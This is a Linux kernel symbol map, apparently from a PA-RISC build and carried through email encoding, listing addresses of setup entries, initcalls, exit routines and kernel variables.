103ef020 t __setup_noirqdebug_setup=0A=
103ef02c t __setup_set_dhash_entries=0A=
103ef038 t __setup_set_ihash_entries=0A=
103ef044 t __setup_elevator_setup=0A=
103ef050 t __setup_pci_setup=0A=
103ef05c t __setup_combined_setup=0A=
103ef068 t __setup_sti_font_setup=0A=
103ef074 t __setup_sti_setup=0A=
103ef080 t __setup_fb_console_setup=0A=
103ef08c t __setup_video_setup=0A=
103ef098 t __setup_stifb_setup=0A=
103ef0a4 t __setup_st_setup=0A=
103ef0b0 t __setup_67=0A=
103ef0bc t __setup_66=0A=
103ef0c8 t __setup_65=0A=
103ef0d4 t __setup_netdev_boot_setup=0A=
103ef0e0 t __setup_netdev_boot_setup=0A=
103ef0ec t __setup_set_rhash_entries=0A=
103ef0f8 t __setup_set_thash_entries=0A=
103ef104 t __initcall_helper_init=0A=
103ef104 A __initcall_start=0A=
103ef104 A __setup_end=0A=
103ef108 t __initcall_ksysfs_init=0A=
103ef10c t __initcall_filelock_init=0A=
103ef110 t __initcall_init_script_binfmt=0A=
103ef114 t __initcall_init_elf_binfmt=0A=
103ef118 t __initcall_sock_init=0A=
103ef11c t __initcall_netlink_proto_init=0A=
103ef120 t __initcall_kobject_uevent_init=0A=
103ef124 t __initcall_pcibus_class_init=0A=
103ef128 t __initcall_pci_driver_init=0A=
103ef12c t __initcall_tty_class_init=0A=
103ef130 t __initcall_parisc_init=0A=
103ef134 t __initcall_topology_init=0A=
103ef138 t __initcall_pcibios_init=0A=
103ef13c t __initcall_init_bio=0A=
103ef140 t __initcall_genhd_device_init=0A=
103ef144 t __initcall_fbmem_init=0A=
103ef148 t __initcall_misc_init=0A=
103ef14c t __initcall_init_scsi=0A=
103ef150 t __initcall_input_init=0A=
103ef154 t __initcall_proto_init=0A=
103ef158 t __initcall_net_dev_init=0A=
103ef15c t __initcall_genl_init=0A=
103ef160 t __initcall_init_pipe_fs=0A=
103ef164 t __initcall_chr_dev_init=0A=
103ef168 t __initcall_unwind_init=0A=
103ef16c t __initcall_create_proc_profile=0A=
103ef170 t __initcall_ioresources_init=0A=
103ef174 t __initcall_uid_cache_init=0A=
103ef178 t __initcall_param_sysfs_init=0A=
103ef17c t __initcall_init_posix_timers=0A=
103ef180 t __initcall_init_posix_cpu_timers=0A=
103ef184 t __initcall_init=0A=
103ef188 t __initcall_kallsyms_init=0A=
103ef18c t __initcall_ikconfig_init=0A=
103ef190 t __initcall_init_per_zone_pages_min=0A=
103ef194 t __initcall_pdflush_init=0A=
103ef198 t __initcall_kswapd_init=0A=
103ef19c t __initcall_procswaps_init=0A=
103ef1a0 t __initcall_init_tmpfs=0A=
103ef1a4 t __initcall_cpucache_init=0A=
103ef1a8 t __initcall_fasync_init=0A=
103ef1ac t __initcall_aio_setup=0A=
103ef1b0 t __initcall_inotify_setup=0A=
103ef1b4 t __initcall_eventpoll_init=0A=
103ef1b8 t __initcall_dnotify_init=0A=
103ef1bc t __initcall_init_devpts_fs=0A=
103ef1c0 t __initcall_init_reiserfs_fs=0A=
103ef1c4 t __initcall_init_ext3_fs=0A=
103ef1c8 t __initcall_journal_init=0A=
103ef1cc t __initcall_init_ramfs_fs=0A=
103ef1d0 t __initcall_init_iso9660_fs=0A=
103ef1d4 t __initcall_ipc_init=0A=
103ef1d8 t __initcall_init_mqueue_fs=0A=
103ef1dc t __initcall_init_crypto=0A=
103ef1e0 t __initcall_init=0A=
103ef1e4 t __initcall_init=0A=
103ef1e8 t __initcall_init=0A=
103ef1ec t __initcall_noop_init=0A=
103ef1f0 t __initcall_as_init=0A=
103ef1f4 t __initcall_deadline_init=0A=
103ef1f8 t __initcall_cfq_init=0A=
103ef1fc t __initcall_pci_init=0A=
103ef200 t __initcall_pci_sysfs_init=0A=
103ef204 t __initcall_pci_proc_init=0A=
103ef208 t __initcall_led_create_procfs=0A=
103ef20c t __initcall_start_task=0A=
103ef210 t __initcall_pdc_stable_init=0A=
103ef214 t __initcall_power_init=0A=
103ef218 t __initcall_sticonsole_init=0A=
103ef21c t __initcall_fb_console_init=0A=
103ef220 t __initcall_stifb_init=0A=
103ef224 t __initcall_rand_initialize=0A=
103ef228 t __initcall_tty_init=0A=
103ef22c t __initcall_pty_init=0A=
103ef230 t __initcall_rtc_generic_init=0A=
103ef234 t __initcall_serio_init=0A=
103ef238 t __initcall_gscps2_init=0A=
103ef23c t __initcall_firmware_class_init=0A=
103ef240 t __initcall_net_olddevs_init=0A=
103ef244 t __initcall_spi_transport_init=0A=
103ef248 t __initcall_sym2_init=0A=
103ef24c t __initcall_NCR_700_init=0A=
103ef250 t __initcall_lasi700_init=0A=
103ef254 t __initcall_init_st=0A=
103ef258 t __initcall_init_sd=0A=
103ef25c t __initcall_init_sr=0A=
103ef260 t __initcall_init_sg=0A=
103ef264 t __initcall_cdrom_init=0A=
103ef268 t __initcall_mousedev_init=0A=
103ef26c t __initcall_evdev_init=0A=
103ef270 t __initcall_atkbd_init=0A=
103ef274 t __initcall_hwmon_init=0A=
103ef278 t __initcall_inet_init=0A=
103ef27c t __initcall_bictcp_register=0A=
103ef280 t __initcall_af_unix_init=0A=
103ef284 t __initcall_packet_init=0A=
103ef288 t __initcall_seqgen_init=0A=
103ef28c t __initcall_net_random_reseed=0A=
103ef290 A __con_initcall_start=0A=
103ef290 d __initcall_con_init=0A=
103ef290 A __initcall_end=0A=
103ef294 A __alt_instructions=0A=
103ef294 A __alt_instructions_end=0A=
103ef294 A __con_initcall_end=0A=
103ef294 ? __security_initcall_end=0A=
103ef294 ? __security_initcall_start=0A=
103ef37c t ikconfig_cleanup=0A=
103ef3a4 t exit_pipe_fs=0A=
103ef3e4 t eventpoll_exit=0A=
103ef438 t exit_script_binfmt=0A=
103ef458 t exit_elf_binfmt=0A=
103ef478 t exit_devpts_fs=0A=
103ef4b8 t exit_reiserfs_fs=0A=
103ef4f4 t exit_ext3_fs=0A=
103ef518 t journal_exit=0A=
103ef530 t exit_ramfs_fs=0A=
103ef550 t exit_iso9660_fs=0A=
103ef574 t fini=0A=
103ef594 t fini=0A=
103ef5b4 t fini=0A=
103ef5d4 t noop_exit=0A=
103ef5f4 t as_exit=0A=
103ef620 t deadline_exit=0A=
103ef64c t cfq_exit=0A=
103ef670 t pdc_stable_exit=0A=
103ef700 t power_exit=0A=
103ef768 t stifb_cleanup=0A=
103ef7fc t rtc_generic_exit=0A=
103ef82c t serio_exit=0A=
103ef858 t gscps2_exit=0A=
103ef878 t firmware_class_exit=0A=
103ef898 t exit_scsi=0A=
103ef8d4 t spi_transport_exit=0A=
103ef910 t sym2_exit=0A=
103ef93c t NCR_700_exit=0A=
103ef95c t lasi700_driver_remove=0A=
103ef9b0 t lasi700_exit=0A=
103ef9d0 t exit_st=0A=
103efa6c t exit_sd=0A=
103efabc t exit_sr=0A=
103efaec t exit_sg=0A=
103efba8 t cdrom_exit=0A=
103efbe4 t input_exit=0A=
103efc18 t mousedev_exit=0A=
103efc90 t evdev_exit=0A=
103efcb0 t atkbd_exit=0A=
103efcd0 t hwmon_exit=0A=
103efcf0 t bictcp_unregister=0A=
103efd10 t af_unix_exit=0A=
103efd54 t packet_exit=0A=
103f0000 A __initramfs_start=0A=
103f0086 A __initramfs_end=0A=
103f00a0 A __per_cpu_end=0A=
103f00a0 A __per_cpu_start=0A=
103f1000 A __bss_start=0A=
103f1000 A __init_end=0A=
103f1000 B system_state=0A=
103f1004 B saved_command_line=0A=
103f1404 B late_time_init=0A=
103f1408 b execute_command=0A=
103f140c b ramdisk_execute_command=0A=
103f1410 b panic_later=0A=
103f1414 b panic_param=0A=
103f1418 B Version_132624=0A=
103f141c B ROOT_DEV=0A=
103f1420 b inbuf=0A=
103f1424 b window=0A=
103f1428 b insize=0A=
103f142c b inptr=0A=
103f1430 b outcnt=0A=
103f1434 b bytes_out=0A=
103f1438 b bb=0A=
103f143c b bk=0A=
103f1440 b hufts=0A=
103f1444 b crc_32_tab=0A=
103f1844 b crc=0A=
103f1848 b preset_lpj=0A=
103f184c B per_cpu__mmu_gathers=0A=
103f1860 b dirty_space_ids=0A=
103f1860 b sid_lock=0A=
103f1864 b dirty_space_id=0A=
103f9864 b space_id_index=0A=
103f9868 B per_cpu__exception_data=0A=
103f9880 b terminate_lock___0=0A=
103f9880 b tod_data___0=0A=
103f9888 b cpu_eiem=0A=
103f98c0 b iodc_retbuf___0=0A=
103f98c0 b pdc_lock=0A=
103f9940 b iodc_dbuf___1=0A=
103fa940 b iodc_retbuf___2=0A=
103fa9c0 b iodc_dbuf___3=0A=
103fb9c0 b posx___4=0A=
103fb9c8 b iodc_retbuf___5=0A=
103fba80 b iodc_dbuf___6=0A=
103fca80 b pdc_result=0A=
103fcb00 b pdc_result2=0A=
103fcb80 b count___0=0A=
103fcbc0 B real32_stack=0A=
103fcbc0 B real64_stack=0A=
103fcbc0 B real_stack=0A=
103febc0 b save_cr_space=0A=
103febe4 b save_cr_end=0A=
103fec00 b unaligned_count___0=0A=
103fec04 b last_time___1=0A=
103fec08 B chassis_power_off=0A=
103fec0c b pdc_console_initialized=0A=
103fec10 b unwind_lock=0A=
103fec40 B per_cpu__kstat=0A=
103fee00 b per_cpu__runqueues=0A=
103ff730 B vm_area_cachep=0A=
103ff734 B files_cachep=0A=
103ff738 B fs_cachep=0A=
103ff73c B signal_cachep=0A=
103ff740 B sighand_cachep=0A=
103ff744 B total_forks=0A=
103ff748 B nr_threads=0A=
103ff74c B max_threads=0A=
103ff750 b task_struct_cachep=0A=
103ff754 b mm_cachep=0A=
103ff758 b exec_domains_lock=0A=
103ff758 B panic_notifier_list=0A=
103ff75c B panic_blink=0A=
103ff760 B panic_timeout=0A=
103ff764 B panic_on_oops=0A=
103ff768 B tainted=0A=
103ff76c b buf___1=0A=
103ffb6c b buf___0=0A=
103ffb80 B oops_in_progress=0A=
103ffb84 B console_drivers=0A=
103ffb88 b logbuf_lock=0A=
103ffb88 b printk_time=0A=
103ffb8c b printk_buf___5=0A=
103fff8c b oops_timestamp___7=0A=
103fff90 b last_msg___2=0A=
103fff90 b ratelimit_lock___0=0A=
103fff94 b missed___3=0A=
103fff98 b console_locked=0A=
103fff9c b log_start=0A=
103fffa0 b con_start=0A=
103fffa4 b log_end=0A=
103fffa8 b console_cmdline=0A=
10400028 b console_may_schedule=0A=
1040002c b __log_buf=0A=
1040402c b logged_chars=0A=
10404030 b prof_buffer=0A=
10404034 b prof_len=0A=
10404038 b prof_shift=0A=
1040403c B pps_offset=0A=
10404040 B pps_freq=0A=
10404044 B pps_jitcnt=0A=
10404048 B pps_calcnt=0A=
1040404c B pps_errcnt=0A=
10404050 B pps_stbcnt=0A=
10404054 B sys_tz=0A=
1040405c B hardpps_ptr=0A=
10404080 B irq_stat=0A=
104040c0 b per_cpu__tasklet_hi_vec=0A=
104040c4 b per_cpu__tasklet_vec=0A=
104040c8 b softirq_vec=0A=
104041c8 b per_cpu__ksoftirqd=0A=
10404200 b reserved___0=0A=
10404200 b resource_lock=0A=
10404204 b reserve___1=0A=
10404274 b dev_table=0A=
10404274 b sysctl_lock=0A=
104042a0 b debug_table=0A=
104042cc b proc_table=0A=
104042f8 b minolduid=0A=
104042fc b zero=0A=
10404300 b task_capability_lock=0A=
10404300 B xtime=0A=
10404310 B wall_to_monotonic=0A=
10404318 B time_offset=0A=
1040431c B time_reftime=0A=
10404320 B time_adjust=0A=
10404324 B time_next_adjust=0A=
10404328 B avenrun=0A=
10404334 b per_cpu__tvec_bases=0A=
1040533c b time_phase=0A=
10405340 b time_adj=0A=
10405350 b uid_cachep=0A=
10405350 b uidhash_lock=0A=
10405354 b uidhash_table=0A=
10405b54 b sigqueue_cachep=0A=
10405b58 b notifier_lock=0A=
10405b58 b reboot_notifier_list=0A=
10405b5c b kmod_concurrent___1=0A=
10405b60 b kmod_loop_msg___2=0A=
10405b64 b khelper_wq=0A=
10405b68 b singlethread_cpu=0A=
10405b68 b workqueue_lock=0A=
10405b6c b keventd_wq=0A=
10405b70 B last_pid=0A=
10405b74 b pid_hash=0A=
10405b74 b pidmap_lock=0A=
10405b84 b pidhash_shift=0A=
10405b88 b per_cpu__rcu_tasklet=0A=
10405b9c b rcu_barrier_cpu_count=0A=
10405ba0 b rcu_barrier_sema=0A=
10405bac b rcu_barrier_completion=0A=
10405bb8 b idr_lock=0A=
10405bb8 b posix_timers_cache=0A=
10405bbc b posix_timers_id=0A=
10405bcc b posix_clocks=0A=
10405e0c b helper_wq=0A=
10405e10 b kthread_stop_info=0A=
10405e24 b zero_it___0=0A=
10405e34 b futex_queues=0A=
10406634 b futex_mnt=0A=
10406638 b modlist_lock=0A=
10406638 b module_notify_list=0A=
10406640 B uevent_seqnum=0A=
10406648 B noirqdebug=0A=
1040664c b irqfixup=0A=
10406650 b root_irq_dir=0A=
10406654 b irq_dir=0A=
104067d4 B max_low_pfn=0A=
104067d8 B min_low_pfn=0A=
104067dc B max_pfn=0A=
104067e0 B nr_swap_pages=0A=
104067e4 B percpu_pagelist_fraction=0A=
104067e8 b per_cpu__page_states=0A=
10406894 b contig_bootmem_data=0A=
104068ac B block_dump=0A=
104068b0 B laptop_mode=0A=
104068b4 b per_cpu__ratelimits___0=0A=
104068b8 b total_pages=0A=
104068bc b dirty_exceeded=0A=
104068c0 b last_empty_jifs=0A=
104068c0 b pdflush_lock=0A=
104068c4 B page_cluster=0A=
104068c8 b per_cpu__lru_add_active_pvecs=0A=
10406908 b per_cpu__lru_add_pvecs=0A=
10406948 b total_memory=0A=
1040694c b page_pool=0A=
10406950 b isa_page_pool=0A=
10406954 B max_mapnr=0A=
10406958 B num_physpages=0A=
1040695c B high_memory=0A=
10406960 B vmalloc_earlyreserve=0A=
10406964 B mem_map=0A=
10406968 B anon_vma_cachep=0A=
10406968 b shmlock_user_lock=0A=
1040696c B vmlist=0A=
10406970 b swap_cache_info=0A=
10406988 B total_swap_pages=0A=
1040698c B nr_swapfiles=0A=
10406990 B swap_info=0A=
10407210 b least_priority___0=0A=
10407214 b swap_overflow=0A=
10407218 b swap_token_lock=0A=
10407218 b swap_token_timeout=0A=
1040721c b swap_token_check=0A=
10407220 b shmem_inode_cachep=0A=
10407220 b shmem_swaplist_lock=0A=
10407224 b shm_mnt=0A=
10407228 B slab_reclaim_pages=0A=
1040722c b slab_break_gfp_order=0A=
10407230 b offslab_limit=0A=
10407234 b cache_chain_sem=0A=
10407240 b cache_chain=0A=
10407248 b g_cpucache_up=0A=
1040724c b per_cpu__reap_work=0A=
1040727c b filp_count_lock=0A=
1040727c b old_max___0=0A=
10407280 B buffer_heads_over_limit=0A=
10407284 b per_cpu__bh_accounting=0A=
1040728c b per_cpu__bh_lrus=0A=
104072ac b msg_count___0=0A=
104072b0 b bh_cachep=0A=
104072b4 b max_buffer_heads=0A=
104072b8 B bio_split_pool=0A=
104072bc b bio_dirty_lock=0A=
104072bc b bio_slab=0A=
104072c0 b fs_bio_set=0A=
104072c4 b bio_dirty_list=0A=
104072c8 b default_op___1=0A=
104072c8 b unnamed_dev_lock=0A=
10407318 b unnamed_dev_idr=0A=
10407328 B blockdev_superblock=0A=
1040732c b bdev_cachep=0A=
1040732c b bdev_lock=0A=
10407330 b bd_mnt=0A=
10407334 b cdev_lock=0A=
10407334 b cdev_map=0A=
10407338 b chrdevs=0A=
10407734 B core_uses_pid=0A=
10407738 b binfmt_lock=0A=
10407738 b formats=0A=
1040773c b pipe_mnt=0A=
10407740 b fasync_cache=0A=
10407740 b fasync_lock=0A=
10407744 b filelock_cache=0A=
10407748 B names_cachep=0A=
1040774c B filp_cachep=0A=
10407750 b rename_lock=0A=
10407754 b dentry_cache=0A=
10407758 b d_hash_mask=0A=
1040775c b d_hash_shift=0A=
10407760 b dentry_hashtable=0A=
10407764 B inodes_stat=0A=
10407780 b empty_aops___0=0A=
104077b4 b empty_iops___1=0A=
10407808 b empty_fops___2=0A=
10407874 b last_ino___4=0A=
10407878 b counter___3=0A=
1040787c b i_hash_mask=0A=
10407880 b i_hash_shift=0A=
10407884 b inode_hashtable=0A=
10407888 b inode_cachep=0A=
1040788c b per_cpu__fdtable_defer_list=0A=
104078d8 b file_systems=0A=
104078d8 b file_systems_lock=0A=
104078dc b event=0A=
104078e0 b mount_hashtable=0A=
104078e4 b mnt_cache=0A=
104078e8 b namespace_sem=0A=
104078f4 B aio_nr=0A=
104078f8 b aio_nr_lock=0A=
104078f8 b fput_lock=0A=
104078f8 b kiocb_cachep=0A=
104078fc b kioctx_cachep=0A=
10407900 b aio_wq=0A=
10407904 b pin_fs_lock=0A=
10407904 b simple_transaction_lock___0=0A=
10407904 B sysctl_drop_caches=0A=
10407908 B inotify_max_user_instances=0A=
1040790c B inotify_max_user_watches=0A=
10407910 B inotify_max_queued_events=0A=
10407914 b inotify_cookie=0A=
10407918 b inotify_watches=0A=
1040791c b watch_cachep=0A=
10407920 b event_cachep=0A=
10407924 b inotify_mnt=0A=
10407928 b zero=0A=
1040792c b epsem=0A=
10407938 b psw=0A=
10407940 b epi_cache=0A=
10407944 b pwq_cache=0A=
10407948 b eventpoll_mnt=0A=
1040794c b dn_cache=0A=
10407950 B proc_mnt=0A=
10407954 b proc_inode_cachep=0A=
10407958 B proc_root_fs=0A=
1040795c B proc_net=0A=
10407960 B proc_net_stat=0A=
10407964 B proc_bus=0A=
10407968 B proc_root_driver=0A=
1040796c B proc_sys_root=0A=
10407970 b proc_inum_idr=0A=
10407980 b proc_inum_lock=0A=
10407980 b proc_tty_ldisc=0A=
10407984 b proc_tty_driver=0A=
10407988 B proc_root_kcore=0A=
1040798c b p___0=0A=
10407990 b kclist=0A=
10407990 b kclist_lock=0A=
10407994 B sysfs_mount=0A=
10407998 B sysfs_dir_cachep=0A=
1040799c b devpts_mnt=0A=
104079a0 b devpts_root=0A=
104079a4 b reiserfs_inode_cachep=0A=
104079a8 b error_buf=0A=
10407da8 b fmt_buf=0A=
104081a8 b off_buf=0A=
104081f8 b print_tb_buf=0A=
104089f8 b nr_reiserfs_jh=0A=
104089fc b id___1=0A=
10408a00 b reiserfs_mounted_fs_count=0A=
10408a04 b commit_wq=0A=
10408a08 b timebuf___0=0A=
10408b08 b namebuf___1=0A=
10408b58 b ext3_inode_cachep=0A=
10408b5c b revoke_record_cache=0A=
10408b60 b revoke_table_cache=0A=
10408b64 B jbd_handle_cache=0A=
10408b68 b last_warning___6=0A=
10408b6c b journal_head_cache=0A=
10408b70 b isofs_inode_cachep=0A=
10408b74 b msg_hdrs=0A=
10408b74 b nls_lock=0A=
10408b78 b msg_bytes=0A=
10408b7c b msg_ids=0A=
10408b9c b sem_ids=0A=
10408bbc b used_sems=0A=
10408bc0 b shm_ids=0A=
10408be0 b shm_tot=0A=
10408be4 b mq_lock=0A=
10408be4 b mqueue_inode_cachep=0A=
10408be8 b mqueue_mnt=0A=
10408bec b queues_count=0A=
10408bf0 b mq_sysctl_table=0A=
10408bf4 b elv_list_lock=0A=
10408bf4 b printed___0=0A=
10408bf8 b chosen_elevator=0A=
10408c08 B blk_max_low_pfn=0A=
10408c0c B blk_max_pfn=0A=
10408c10 b request_cachep=0A=
10408c14 b requestq_cachep=0A=
10408c18 b iocontext_cachep=0A=
10408c1c b kblockd_workqueue=0A=
10408c20 b per_cpu__blk_cpu_done=0A=
10408c28 b major_names=0A=
10409024 b bdev_map=0A=
10409028 b arq_pool=0A=
1040902c b drq_pool=0A=
10409030 b crq_pool=0A=
10409034 b cfq_pool=0A=
10409038 b cfq_ioc_pool=0A=
1040903c b idr_layer_cache=0A=
10409040 b sequence_lock=0A=
10409040 b uevent_sock=0A=
10409044 b index_bits_to_maxindex=0A=
104090c4 b radix_tree_node_cachep=0A=
10409100 b pci_lock=0A=
10409100 B platform_pci_choose_state=0A=
10409104 B platform_pci_set_power_state=0A=
10409108 B pci_pci_problems=0A=
1040910c B pcie_mch_quirk=0A=
10409110 B isa_dma_bridge_buggy=0A=
10409114 b sis_96x_compatible=0A=
10409118 b combined_mode=0A=
1040911c b sysfs_initialized=0A=
10409120 b proc_initialized=0A=
10409124 b proc_bus_pci_dir=0A=
10409128 b iosapic_lock=0A=
10409128 b irt_cell=0A=
1040912c b irt_num_entry=0A=
10409130 b global_ioc_cnt=0A=
10409134 b ioc_needs_fdc=0A=
10409138 b piranha_bad_128k=0A=
1040913c b sba_list=0A=
10409140 b lba_t32=0A=
10409144 b ioc_list=0A=
10409148 b ioc_count=0A=
1040914c b dino_current_bus=0A=
10409150 b asp=0A=
104091e8 b i___8=0A=
104091ec b last_jiffies___0=0A=
104091f0 b count_HZ___1=0A=
104091f4 b rx_total_last___2=0A=
104091f8 b tx_total_last___3=0A=
104091fc b last_pgpgin___4=0A=
10409200 b last_pgpgout___5=0A=
10409204 b initialized___7=0A=
10409208 b lastleds=0A=
1040920c b led_wq=0A=
10409210 b vga_is_gfx=0A=
10409214 b sticon_sti=0A=
10409218 b softback_buf=0A=
1040921c b softback_curr=0A=
10409220 b softback_in=0A=
10409224 b softback_end=0A=
10409228 b softback_lines=0A=
1040922c b cursor_drawn=0A=
10409230 b vbl_cursor_cnt=0A=
10409234 b scrollback_max=0A=
10409238 b scrollback_current=0A=
1040923c b scrollback_phys_max=0A=
10409240 b fb_display=0A=
1040aecc b con2fb_map=0A=
1040af0c b con2fb_map_boot=0A=
1040af4c b logo_height=0A=
1040af50 b logo_lines=0A=
1040af54 b softback_buf=0A=
1040af58 b softback_curr=0A=
1040af5c b softback_in=0A=
1040af60 b softback_top=0A=
1040af64 b softback_end=0A=
1040af68 b softback_lines=0A=
1040af6c b first_fb_vc=0A=
1040af70 b fontname=0A=
1040af98 b rotate=0A=
1040af9c b vbl_cursor_cnt=0A=
1040afa0 b palette_red=0A=
1040afc0 b palette_green=0A=
1040afe0 b palette_blue=0A=
1040b000 B registered_fb=0A=
1040b080 B num_registered_fb=0A=
1040b084 b fb_notifier_list=0A=
1040b088 b fb_class=0A=
1040b08c b video_options=0A=
1040b10c b ofonly=0A=
1040b110 B global_mode_option=0A=
1040b140 b mem_class=0A=
1040b180 b per_cpu__trickle_count=0A=
1040b184 b last_value___1=0A=
1040b188 b input_pool_data=0A=
1040b388 b blocking_pool_data=0A=
1040b408 b nonblocking_pool_data=0A=
1040b488 b input_timer_state=0A=
1040b498 b irq_timer_state=0A=
1040b618 b min_write_thresh=0A=
1040b61c b sysctl_bootid=0A=
1040b640 b ip_keydata=0A=
1040b6c0 b ip_cnt=0A=
1040b700 b allocated_ptys=0A=
1040b700 b redirect_lock=0A=
1040b710 b tty_ldisc_lock=0A=
1040b710 b tty_ldiscs=0A=
1040bb90 b redirect=0A=
1040bb94 b tty_class=0A=
1040bb98 b tty_cdev=0A=
1040bbe4 b console_cdev=0A=
1040bc30 b ptmx_cdev=0A=
1040bc7c b vc0_cdev=0A=
1040bcc8 B ptm_driver=0A=
1040bccc b pty_limit_min=0A=
1040bcd0 b pts_driver=0A=
1040bcd4 b pty_driver=0A=
1040bcd8 b pty_slave_driver=0A=
1040bcdc b misc_minors=0A=
1040bce4 b misc_class=0A=
1040bce8 b vt_dont_switch=0A=
1040bcec b vc_class=0A=
1040bcf0 b inv_translate=0A=
1040bdec b dflt=0A=
1040bdf0 B sel_cons=0A=
1040bdf4 b sel_end=0A=
1040bdf8 b sel_buffer_lth=0A=
1040bdfc b sel_buffer=0A=
1040be00 B kbd_table=0A=
1040bf3c B spawnpid=0A=
1040bf40 B spawnsig=0A=
1040bf44 b kbd0=0A=
1040bf4c b key_down=0A=
1040bf8c b shift_down=0A=
1040bf98 b dead_key_next=0A=
1040bf9c b diacr=0A=
1040bf9d b rep=0A=
1040bf9e b ledioctl=0A=
1040bfa0 b ledptrs=0A=
1040bfc4 b sysrq_alt=0A=
1040bfc8 B fg_console=0A=
1040bfcc B last_console=0A=
1040bfd0 B kmsg_redirect=0A=
1040bfd4 B conswitchp=0A=
1040bfd8 B vc_cons=0A=
1040c0d4 B con_buf=0A=
1040d0d4 B console_blanked=0A=
1040d0d8 B do_poke_blanked_console=0A=
1040d0dc B console_blank_hook=0A=
1040d0e0 B console_driver=0A=
1040d0e4 b old___15=0A=
1040d0e6 b oldx___16=0A=
1040d0e8 b oldy___17=0A=
1040d0ec b printing___0=0A=
1040d0f0 b error___8=0A=
1040d0f4 b con_driver_map=0A=
1040d1f0 b printable=0A=
1040d1f4 b ignore_poke=0A=
1040d1f8 b vesa_blank_mode=0A=
1040d1fc b vesa_off_interval=0A=
1040d200 b master_display_fg=0A=
1040d204 b scrollback_delta=0A=
1040d208 b console_timer=0A=
1040d220 b blank_state=0A=
1040d224 b blank_timer_expired=0A=
1040d228 b softcursor_original=0A=
1040d22c b gen_rtc_lock=0A=
1040d22c b gen_rtc_status=0A=
1040d230 b gen_rtc_irq_data=0A=
1040d234 b irq_active=0A=
1040d238 b genrtc_task=0A=
1040d268 b timer_task=0A=
1040d280 b oldsecs=0A=
1040d284 b lostint=0A=
1040d288 b tt_exp=0A=
1040d28c b stask_active=0A=
1040d290 b ttask_active=0A=
1040d294 b stop_rtc_timers=0A=
1040d298 b serio_event_lock=0A=
1040d298 b serio_no___0=0A=
1040d29c b serio_task=0A=
1040d2a0 b cpu_sys_devices=0A=
1040d2a4 b attribute_container_list=0A=
1040d2ac b per_cpu__loopback_stats=0A=
1040d308 B scsi_logging_level=0A=
1040d30c b per_cpu__scsi_done_q=0A=
1040d314 b scsi_host_next_hn=0A=
1040d318 b tur_command___2=0A=
1040d320 b scsi_io_context_cache=0A=
1040d324 b scsi_default_dev_flags=0A=
1040d328 b scsi_dev_flags=0A=
1040d428 b scsi_table_header=0A=
1040d42c b proc_scsi=0A=
1040d430 b sym2_transport_template=0A=
1040d434 b excl_string=0A=
1040d438 b safe_string=0A=
1040d43c b attach_count=0A=
1040d440 b NCR_700_transport_template=0A=
1040d440 b sym53c8xx_lock=0A=
1040d444 b A_Device_ID_used=0A=
1040d448 b banner___1=0A=
1040d44c b ret___0=0A=
1040d54c b scsi_tapes=0A=
1040d550 b debugging=0A=
1040d550 b st_dev_arr_lock=0A=
1040d554 b buffer_kbs=0A=
1040d558 b max_sg_segs=0A=
1040d55c b st_dev_max=0A=
1040d560 b st_nr_dev=0A=
1040d564 b st_sysfs_class=0A=
1040d568 b write_threshold_kbs=0A=
1040d56c b modes_defined=0A=
1040d570 b sd_index_idr=0A=
1040d580 b sd_index_lock=0A=
1040d580 b sr_index_bits=0A=
1040d580 b sr_index_lock=0A=
1040d5a0 b xa_test=0A=
1040d5a4 b sg_allow_dio=0A=
1040d5a8 b sg_sysfs_valid=0A=
1040d5ac b sg_dev_arr=0A=
1040d5ac b sg_dev_arr_lock=0A=
1040d5b0 b sg_proc_sgp=0A=
1040d5b4 b sg_dev_max=0A=
1040d5b8 b sg_nr_dev=0A=
1040d5bc b sg_sysfs_class=0A=
1040d5c0 b cdrom_lock=0A=
1040d5c0 b initialized___0=0A=
1040d5c4 b banner_printed___1=0A=
1040d5c8 b debug=0A=
1040d5cc b keeplocked=0A=
1040d5d0 b autoeject=0A=
1040d5d4 b check_media_type=0A=
1040d5d8 b topCdromPtr=0A=
1040d5dc b cdrom_sysctl_settings=0A=
1040d9d8 b cdrom_sysctl_header=0A=
1040d9dc b input_no___0=0A=
1040d9e0 b input_table=0A=
1040da00 b proc_bus_input_dir=0A=
1040da04 b input_devices_state=0A=
1040da08 b input_fileops=0A=
1040da74 b mousedev_table=0A=
1040daf4 b mousedev_mix=0A=
1040db90 b psaux_registered=0A=
1040db94 b evdev_table=0A=
1040dc14 b atkbd_scroll=0A=
1040dc18 b atkbd_reset=0A=
1040dc1c b atkbd_softrepeat=0A=
1040dc20 b atkbd_extra=0A=
1040dc24 b hwmon_idr=0A=
1040dc34 b hwmon_class=0A=
1040dc38 b per_cpu__sockets_in_use=0A=
1040dc3c b br_ioctl_hook=0A=
1040dc40 b warned___0=0A=
1040dc44 b net_families=0A=
1040dcc4 b vlan_ioctl_hook=0A=
1040dcc8 b dlci_ioctl_hook=0A=
1040dccc b proto_list_lock=0A=
1040dccc b warned___3=0A=
1040dcd0 b warncomm___4=0A=
1040dce0 b elist=0A=
1040dce0 b est_lock=0A=
1040dd88 B dev_base=0A=
1040dd8c B netdev_nit=0A=
1040dd90 b net_todo_list_lock=0A=
1040dd90 b netstamp_needed=0A=
1040dd94 b ifindex___0=0A=
1040dd94 b ptype_lock=0A=
1040dd98 b ptype_base=0A=
1040de18 b ptype_all=0A=
1040de20 b dev_name_head=0A=
1040e220 b dev_index_head=0A=
1040e620 b netdev_chain=0A=
1040e624 b dev_boot_setup=0A=
1040e724 b gifconf_list=0A=
1040e7a4 b dst_garbage_list=0A=
1040e7a4 b dst_lock=0A=
1040e7a8 b dst_gc_timer_expires=0A=
1040e7ac b neigh_tables=0A=
1040e7ac b neigh_tbl_lock=0A=
1040e7b0 B rtnl=0A=
1040e7b4 B rtnetlink_links=0A=
1040e834 b rta_buf=0A=
1040e838 b rtattr_max=0A=
1040e83c b per_cpu__net_rand_state=0A=
1040e848 b linkwatch_flags=0A=
1040e848 b lweventlist_lock=0A=
1040e84c b linkwatch_nextevent=0A=
1040e850 b singleevent=0A=
1040e85c b nl_table_users=0A=
1040e860 b nl_table=0A=
1040e860 b nl_table_lock=0A=
1040e864 b netlink_chain=0A=
1040e868 b id_gen_idx___0=0A=
1040e86c b family_ht=0A=
1040e8ec b rover___5=0A=
1040e8ec b rt_flush_lock=0A=
1040e8f0 b last_gc___2=0A=
1040e8f4 b rover___3=0A=
1040e8f8 b equilibrium___4=0A=
1040e8fc b ip_fallback_id___7=0A=
1040e8fc b ip_fb_id_lock___6=0A=
1040e8fc b rt_peer_lock___8=0A=
1040e900 b ip_rt_max_size=0A=
1040e904 b rt_deadline=0A=
1040e908 b rt_flush_timer=0A=
